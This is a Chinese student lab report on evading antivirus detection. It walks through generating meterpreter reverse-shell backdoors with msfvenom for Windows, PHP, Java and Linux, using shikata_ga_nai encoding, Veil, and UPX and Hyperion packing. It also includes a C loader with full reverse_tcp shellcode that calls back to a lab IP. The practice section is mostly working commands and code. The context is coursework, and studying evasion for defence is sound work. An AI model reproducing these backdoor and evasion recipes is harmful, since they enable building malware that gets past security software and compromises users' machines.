目录
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
-
基于特征码
-
启发式
-
基于行为
(2)免杀是做什么?
- 软件或代码免于杀毒软件的检测
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有.exe ——加壳(压缩壳 加密壳)运行时慢慢释放
- 机器指令已提取(有shellcode/meterpreter)用encode进行编码/基于payload重新编译生成可执行文件
- 有源代码:用其他语言重新编写
- 改变行为
- 通讯方式:反弹连接/隧道技术/加密通讯数据
- 操作模式:基于内存操作/减少对系统修改/加入混肴作用的正常功能代码
- 非常规
- 使用有漏洞应用作为后门
- 编写攻击代码集成
- 诱导关闭杀软
2.开启杀软能绝对防止电脑中恶意代码吗?
不能,使用上述方法可以实现免杀3.实践过程记录
3.1正确使用msf编码器/msfvenom生成如jar之类的其他文件/veil/加壳工具/使用C + shellcode编程/使用其他课堂未介绍方法
(1)将实验二中生成的后门程序导入Virustotal进行查杀,并将查杀结果作为后续实验参照
(2)正确使用msf编码器
一次编码命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.187.132 LPORT=5332 -f exe > met-encoded.exe
- 参数解释:
-e
选择编码器
-b
是payload中需要去除的字符,由于shellcode以'x00'为结束符,所以'x00'不出现在shellcode中。
- 查杀结果:
十次编码命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.147.130 LPORT=5332 -f exe > met-encoded10.exe
-
参数解释:
-i
后加迭代次数 -
查杀结果:很惊讶,360报病毒软件,但扫描竟然安全!
(3)msfvenom生成如jar之类的其他文件
生成PHP后门文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_backdoor.php
查杀结果:
生成java后门文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_java_backdoor.jar
查杀结果:
生成linux后门文件
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_linux_backdoor
chmod +x 20175332_linux_backdoor
赋予权限
查杀结果:
(4)veil
安装部分
问题:始终无法展开至100%,报错安装wine
解决方法:
在同学帮助下参考博客:
问题:Can't find the WINE profile for AuotIT v3 (/var/lib/veil/wine//drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe).
解决方法:百度,参考博客:
历时两天,我终于安装成功了
正式实验
- 使用
use evasion
进入免杀平台
-
进入配置界面命令:
use c/meterpreter/rev_tcp.py
-
set LHOST 192.168.147.130
设置反弹连接的IP地址 -
set LPORT 5332
设置端口号
options
查看设置结果
- 输入命令
generate
生成文件,输入文件名20175332_veil_backdoor
查杀结果:
(5)加壳
压缩壳
- 指令:
upx 20175332_backdoor.exe -o 20175332_backdoor_upxed.exe
- 查杀结果:
加密壳
- 指令:
wine hyperion.exe -v 20175332_backdoor_upxed.exe 20175332_backdoor_upxed_Hyperion.exe
问题:
解决方法:
参考博客: https://blog.csdn.net/weixin_42453837/article/details/104518328
问题:
解决方法:
将压缩壳文件复制到
Hyperion-2.2
文件夹下运行命令
- 加密成功
- 查杀结果
(6)使用C + shellcode编程
- 输入指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 -f c
生成一段shellcode
-
输入指令:
vim 20175332.c
-
代码内容如下:
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x93x82"
"x68x02x00x14xd4x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 输入指令:
i686-w64-mingw32-g++ 20175332.c -o 20175332.exe
编译为可执行文件。
- 查杀结果:
(7)使用其他课堂未介绍方法
使用veil中的其他编码方式实现免杀
- 通过
ruby
实现
- 参考老师介绍的C语言方式对
ruby
进行设置
查杀结果:
3.2通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
ruby+压缩壳+加密壳:查杀结果超过单独的ruby程序
3.4用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
没有成功
4.实践总结与体会
虽然在本次实验中我并没有实现百分百的免杀,但是在日常使用用还是不可以掉以轻心,不能轻易下载来源不明的软件